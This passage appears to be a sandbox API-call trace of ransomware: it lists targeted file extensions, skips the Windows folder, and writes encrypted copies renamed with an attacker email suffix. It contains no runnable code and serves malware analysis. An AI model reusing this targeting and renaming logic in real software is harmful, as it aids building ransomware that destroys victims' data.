office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0094.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.041] lstrlenW (lpString=".doc") returned 4 [0094.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.041] lstrlenW (lpString=".docx") returned 5 [0094.041] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0094.041] lstrlenW (lpString=".pdf") returned 4 [0094.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.041] lstrlenW (lpString=".xls") returned 4 [0094.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.041] lstrlenW (lpString=".xlsx") returned 5 [0094.041] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0094.041] lstrlenW (lpString=".ppt") returned 4 [0094.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.041] lstrlenW (lpString=".zip") returned 4 [0094.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.041] lstrlenW (lpString=".rar") returned 4 [0094.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.041] lstrlenW (lpString=".bz2") returned 4 [0094.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.041] lstrlenW (lpString=".7z") returned 3 [0094.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.041] lstrlenW (lpString=".dbf") returned 4 [0094.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.041] lstrlenW (lpString=".1cd") returned 4 [0094.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.041] lstrlenW (lpString=".jpg") returned 4 [0094.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.042] lstrlenW (lpString=".doc") returned 4 [0094.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString=".docx") returned 5 [0094.042] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0094.042] lstrlenW (lpString=".pdf") returned 4 [0094.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString=".xls") returned 4 [0094.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.042] lstrlenW (lpString=".xlsx") returned 5 [0094.042] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0094.042] lstrlenW (lpString=".ppt") returned 4 [0094.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.042] lstrlenW (lpString=".zip") returned 4 [0094.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.042] lstrlenW (lpString=".rar") returned 4 [0094.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString=".bz2") returned 4 [0094.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString=".7z") returned 3 [0094.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.042] lstrlenW (lpString=".dbf") returned 4 [0094.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.042] lstrlenW (lpString=".1cd") returned 4 [0094.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0094.042] lstrlenW (lpString=".jpg") returned 4 [0094.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.042] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0094.043] lstrlenW (lpString="J0105396.WMF") returned 12 [0094.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.043] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=11012) returned 1 [0094.043] CloseHandle (hObject=0x354) returned 1 [0094.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0094.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0094.043] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.043] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0094.044] GetLastError () returned 0x0 [0094.044] ReadFile (hFile=0x354, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0) Thread: id = 18 os_tid = 0x7c8 [0060.932] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d60930 [0060.933] lstrlenW (lpString="C:") returned 2 [0060.933] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x34dfcf8 | out: lpFindFileData=0x34dfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x583208 [0060.933] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0060.933] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0060.933] lstrlenW (lpString="$GetCurrent") returned 11 [0060.933] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0060.933] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0060.934] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0060.934] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x582f48 [0060.934] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0060.934] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0060.934] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0060.934] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0060.934] lstrlenW (lpString="Logs") returned 4 [0060.934] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0060.934] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0060.934] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0060.934] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583248 [0060.935] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.935] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0060.936] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0060.936] lstrlenW (lpString=".1cd") returned 4 [0060.936] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".3ds") returned 4 [0060.936] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".3fr") returned 4 [0060.936] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".3g2") returned 4 [0060.936] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".3gp") returned 4 [0060.936] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".7z") returned 3 [0060.936] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0060.936] lstrlenW (lpString=".accda") returned 6 [0060.936] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0060.936] lstrlenW (lpString=".accdb") returned 6 [0060.936] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0060.936] lstrlenW (lpString=".accdc") returned 6 [0060.936] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0060.936] lstrlenW (lpString=".accde") returned 6 [0060.936] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0060.936] lstrlenW (lpString=".accdt") returned 6 [0060.936] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0060.936] lstrlenW (lpString=".accdw") returned 6 [0060.936] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0060.936] lstrlenW (lpString=".adb") returned 4 [0060.936] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".adp") returned 4 [0060.936] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".ai") returned 3 [0060.936] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0060.936] lstrlenW (lpString=".ai3") returned 4 [0060.936] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0060.936] lstrlenW (lpString=".ai4") returned 4 [0060.936] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".ai5") returned 4 [0060.937] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".ai6") returned 4 [0060.937] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".ai7") returned 4 [0060.937] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".ai8") returned 4 [0060.937] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".anim") returned 5 [0060.937] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0060.937] lstrlenW (lpString=".arw") returned 4 [0060.937] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".as") returned 3 [0060.937] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0060.937] lstrlenW (lpString=".asa") returned 4 [0060.937] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".asc") returned 4 [0060.937] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".ascx") returned 5 [0060.937] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0060.937] lstrlenW (lpString=".asm") returned 4 [0060.937] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".asmx") returned 5 [0060.937] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0060.937] lstrlenW (lpString=".asp") returned 4 [0060.937] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".aspx") returned 5 [0060.937] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0060.937] lstrlenW (lpString=".asr") returned 4 [0060.937] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".asx") returned 4 [0060.937] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".avi") returned 4 [0060.937] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".avs") returned 4 [0060.937] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0060.937] lstrlenW (lpString=".backup") returned 7 [0060.938] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0060.938] lstrlenW (lpString=".bak") returned 4 [0060.938] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".bay") returned 4 [0060.938] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".bd") returned 3 [0060.938] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0060.938] lstrlenW (lpString=".bin") returned 4 [0060.938] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".bmp") returned 4 [0060.938] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".bz2") returned 4 [0060.938] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".c") returned 2 [0060.938] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0060.938] lstrlenW (lpString=".cdr") returned 4 [0060.938] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".cer") returned 4 [0060.938] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".cf") returned 3 [0060.938] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0060.938] lstrlenW (lpString=".cfc") returned 4 [0060.938] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".cfm") returned 4 [0060.938] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".cfml") returned 5 [0060.938] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0060.938] lstrlenW (lpString=".cfu") returned 4 [0060.938] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".chm") returned 4 [0060.938] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".cin") returned 4 [0060.938] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0060.938] lstrlenW (lpString=".class") returned 6 [0060.938] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0060.939] lstrlenW (lpString=".clx") returned 4 [0060.939] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".config") returned 7 [0060.939] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0060.939] lstrlenW (lpString=".cpp") returned 4 [0060.939] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".cr2") returned 4 [0060.939] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".crt") returned 4 [0060.939] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".crw") returned 4 [0060.939] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".cs") returned 3 [0060.939] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0060.939] lstrlenW (lpString=".css") returned 4 [0060.939] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".csv") returned 4 [0060.939] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".cub") returned 4 [0060.939] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".dae") returned 4 [0060.939] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".dat") returned 4 [0060.939] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".db") returned 3 [0060.939] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0060.939] lstrlenW (lpString=".dbf") returned 4 [0060.939] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".dbx") returned 4 [0060.939] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".dc3") returned 4 [0060.939] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0060.939] lstrlenW (lpString=".dcm") returned 4 [0060.940] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".dcr") returned 4 [0060.940] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".der") returned 4 [0060.940] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".dib") returned 4 [0060.940] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".dic") returned 4 [0060.940] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".dif") returned 4 [0060.940] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".divx") returned 5 [0060.940] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0060.940] lstrlenW (lpString=".djvu") returned 5 [0060.940] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0060.940] lstrlenW (lpString=".dng") returned 4 [0060.940] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".doc") returned 4 [0060.940] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".docm") returned 5 [0060.940] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0060.940] lstrlenW (lpString=".docx") returned 5 [0060.940] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0060.940] lstrlenW (lpString=".dot") returned 4 [0060.940] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".dotm") returned 5 [0060.940] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0060.940] lstrlenW (lpString=".dotx") returned 5 [0060.940] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0060.940] lstrlenW (lpString=".dpx") returned 4 [0060.940] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".dqy") returned 4 [0060.940] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0060.940] lstrlenW (lpString=".dsn") returned 4 [0060.940] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".dt") returned 3 [0060.941] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0060.941] lstrlenW (lpString=".dtd") returned 4 [0060.941] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".dwg") returned 4 [0060.941] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".dwt") returned 4 [0060.941] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".dx") returned 3 [0060.941] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0060.941] lstrlenW (lpString=".dxf") returned 4 [0060.941] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".edml") returned 5 [0060.941] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0060.941] lstrlenW (lpString=".efd") returned 4 [0060.941] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".elf") returned 4 [0060.941] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".emf") returned 4 [0060.941] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".emz") returned 4 [0060.941] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".epf") returned 4 [0060.941] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".eps") returned 4 [0060.941] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".epsf") returned 5 [0060.941] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0060.941] lstrlenW (lpString=".epsp") returned 5 [0060.941] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0060.941] lstrlenW (lpString=".erf") returned 4 [0060.941] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".exr") returned 4 [0060.941] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0060.941] lstrlenW (lpString=".f4v") returned 4 [0060.941] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".fido") returned 5 [0060.942] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0060.942] lstrlenW (lpString=".flm") returned 4 [0060.942] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".flv") returned 4 [0060.942] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".frm") returned 4 [0060.942] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".fxg") returned 4 [0060.942] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".geo") returned 4 [0060.942] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".gif") returned 4 [0060.942] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".grs") returned 4 [0060.942] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".gz") returned 3 [0060.942] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0060.942] lstrlenW (lpString=".h") returned 2 [0060.942] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0060.942] lstrlenW (lpString=".hdr") returned 4 [0060.942] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".hpp") returned 4 [0060.942] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".hta") returned 4 [0060.942] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".htc") returned 4 [0060.942] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".htm") returned 4 [0060.942] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".html") returned 5 [0060.942] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0060.942] lstrlenW (lpString=".icb") returned 4 [0060.942] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0060.942] lstrlenW (lpString=".ics") returned 4 [0060.942] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".iff") returned 4 [0060.943] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".inc") returned 4 [0060.943] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".indd") returned 5 [0060.943] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0060.943] lstrlenW (lpString=".ini") returned 4 [0060.943] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".iqy") 